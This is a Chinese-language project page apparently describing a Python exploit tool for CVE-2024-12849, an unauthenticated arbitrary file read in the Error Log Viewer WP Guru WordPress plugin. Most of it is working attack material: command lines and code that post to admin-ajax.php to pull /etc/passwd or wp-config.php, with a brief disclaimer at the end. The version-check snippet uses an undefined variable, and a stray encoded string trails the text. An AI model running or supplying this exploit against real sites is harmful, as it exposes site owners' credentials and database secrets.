Error Log Viewer WP Guru 插件任意文件读取漏洞检测与利用工具 (CVE-2024-12849)

3 阅读3分钟

CVE-2024-12849:Error Log Viewer WP Guru 插件任意文件读取漏洞利用工具

项目概述

本项目是一个专门针对WordPress插件 Error Log Viewer WP Guru 的安全检测和利用工具。该插件在版本 1.0.1.3 及以下 版本中存在一个严重的安全漏洞(CVE-2024-12849),允许未认证的攻击者通过 wp_ajax_nopriv_elvwp_log_download AJAX 操作读取服务器上的任意文件,从而获取敏感信息。

该工具旨在帮助安全研究人员和系统管理员检测其WordPress站点是否受此漏洞影响,并演示漏洞可能造成的危害,以便及时采取修复措施。

功能特性

  • 版本检测:自动检测目标站点上安装的Error Log Viewer WP Guru插件版本,并判断其是否易受攻击。
  • 任意文件读取:利用漏洞读取服务器上任意文件的完整内容。
  • 默认文件下载:支持下载默认的 /etc/passwd 文件作为快速验证。
  • 自定义文件路径:允许用户指定任意路径,读取服务器上的特定文件。
  • 敏感文件获取:专门提供了下载 wp-config.php 文件的功能,方便快速获取数据库等敏感配置信息。
  • 操作日志记录:所有检测和利用操作的结果都会被记录到 data.txt 文件中,并附带时间戳,便于审计。

安装指南

环境要求

  • Python 3.x
  • requests

安装步骤

  1. 克隆或下载本项目代码到本地。
  2. 安装所需的Python依赖库。
pip install requests

使用说明

基础用法

1. 检测版本并下载默认文件 (/etc/passwd)

此命令会检测目标WordPress站点的插件版本,并尝试读取服务器上的 /etc/passwd 文件。

python CVE-2024-12849.py -u http://192.168.100.74/wordpress
2. 下载自定义文件

使用 -f--file 参数指定要读取的文件路径。

python CVE-2024-12849.py -u http://192.168.100.74/wordpress -f /var/www/html/wp-config.php
3. 下载 wp-config.php 文件

使用 -p--path 参数指定WordPress的安装根目录。脚本会自动拼接 /wp-config.php 路径进行读取。

python CVE-2024-12849.py -u http://192.168.100.74/wordpress -p /opt/lampp/htdocs/wordpress

结果输出

所有操作的结果(包括版本信息、漏洞状态、读取的文件内容或错误信息)都会在控制台显示,并同时追加到当前目录下的 data.txt 文件中,每条记录都带有时间戳。

核心代码

版本检测与漏洞判断

def check_version(url):


    try:
        response = requests.get(url_version)

        if response.status_code == 200:
            for line in response.text.splitlines():
                if "Stable Tag:" in line:
                    version = line.split(":")[-1].strip()
                    result = f"[+] Detected Version: {version}\n"

                    if version <= "1.0.1.3":
                        result += "[!] The site is vulnerable.\n"
                    else:
                        result += "[+] The site is not vulnerable.\n"
                    log_to_file(result)
                    print(result.strip())
                    return

            log_to_file(result)
            print(result.strip())
        else:
            result = f"[-] Failed to fetch version file. Status code: {response.status_code}\n"
            log_to_file(result)
            print(result.strip())
    except requests.exceptions.RequestException as e:
        result = f"[!] An error occurred: {e}\n"
        log_to_file(result)
        print(result.strip())

任意文件下载功能

def download_file(url, file_path="/etc/passwd"):
    data = {
        "action": "elvwp_log_download",
        "elvwp_error_log_download": "1",
        "elvwp_error_log": file_path
    }

    target_url = f"{url}/wp-admin/admin-ajax.php"

    try:
        response = requests.post(target_url, data=data)

        if response.status_code == 200:
            result = "[+] Request successful\n" + response.text + "\n"
        else:
            result = f"[-] Request failed with status code: {response.status_code}\n"
    except requests.exceptions.RequestException as e:
        result = f"[!] An error occurred: {e}\n"

    log_to_file(result)
    print(result.strip())

日志记录函数

def log_to_file(message):
    timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    with open("data.txt", "a") as file:
        file.write(f"[{timestamp}] {message}\n")

主程序入口示例

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-12849 PoC")
    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://example.com/wordpress)")
    parser.add_argument("-f", "--file", help="File path to download")
    parser.add_argument("-p", "--path", help="WordPress installation path to download wp-config.php")
    args = parser.parse_args()

    check_version(args.url)

    if args.file:
        download_file(args.url, args.file)
    elif args.path:
        download_file(args.url, f"{args.path}/wp-config.php")
    else:
        download_file(args.url)

注意事项

  • 教育目的:本工具仅用于安全研究和教育目的。未经授权使用此工具攻击目标系统是非法行为。
  • 风险提示:使用本工具可能对目标系统造成影响,请在获得授权后进行操作。
  • 免责声明:作者不对因使用本工具而导致的任何直接或间接损失负责。 6HFtX5dABrKlqXeO5PUv/+ENcpwsbrck7q4A+pCEnsMIKe0BGyomGiyyUlQiCUzD